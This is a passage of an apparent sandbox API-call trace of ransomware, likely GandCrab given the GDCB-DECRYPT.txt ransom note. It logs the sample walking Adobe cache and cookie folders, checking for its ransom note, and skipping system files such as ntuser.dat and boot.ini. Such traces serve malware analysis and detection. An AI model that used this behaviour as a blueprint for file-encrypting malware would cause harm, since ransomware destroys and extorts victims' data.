Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0169.874] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 113 [0169.874] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.874] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0169.874] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0169.874] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0169.874] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 113 [0169.874] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.874] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0169.874] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0169.874] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0169.874] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 113 [0169.874] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.874] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.874] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.874] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0169.874] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 123 [0169.874] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.874] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.874] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0169.874] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0169.874] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0169.874] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 112 [0169.874] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0169.874] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0169.875] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.875] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt") returned 124 [0169.875] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.875] GetLastError () returned 0x50 [0169.875] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.875] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 107 [0169.876] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0169.876] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5a4918 [0169.876] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.876] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.876] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.876] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.876] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.876] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0169.876] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0169.876] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0169.876] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.876] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 113 [0169.876] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 113 [0169.876] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.876] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.876] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0169.876] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0169.876] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0169.876] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.876] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 113 [0169.876] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 113 [0169.876] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.877] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.877] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0169.877] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0169.877] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0169.877] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.877] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 113 [0169.877] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 113 [0169.877] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.877] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.877] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0169.877] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0169.877] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0169.877] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.877] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 113 [0169.877] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 113 [0169.877] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.877] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.877] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.877] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.877] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0169.877] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.878] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 123 [0169.878] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 123 [0169.878] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 123 [0169.878] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 123 [0169.878] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.878] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.878] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.878] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.878] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.878] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.878] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.878] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.878] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.878] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.878] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.878] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0169.878] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0169.878] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0169.878] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.878] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 112 [0169.878] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 112 [0169.878] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.878] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0169.878] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.879] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.879] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.879] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.879] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0169.879] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.879] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 117 [0169.879] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 117 [0169.879] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 117 [0169.879] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 117 [0169.879] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.879] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.879] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.879] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.879] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.879] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.879] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.879] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.879] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.879] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.879] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.879] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0169.879] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0169.879] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0169.879] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.879] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 114 [0169.879] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 114 [0169.879] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.879] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0169.880] FindClose (in: hFindFile=0x5a4e58 | out: hFindFile=0x5a4e58) returned 1 [0169.880] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.880] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0169.880] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0169.880] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0169.880] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\" [0169.880] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.880] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.880] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.880] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.880] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.880] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.880] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 102 [0169.880] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0169.880] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5a4e58 [0169.880] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.880] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.881] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.881] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.881] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.881] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0169.881] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0169.881] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0169.881] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 109 [0169.881] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.881] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0169.881] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0169.881] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0169.881] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 117 [0169.881] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.881] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.881] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.881] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application 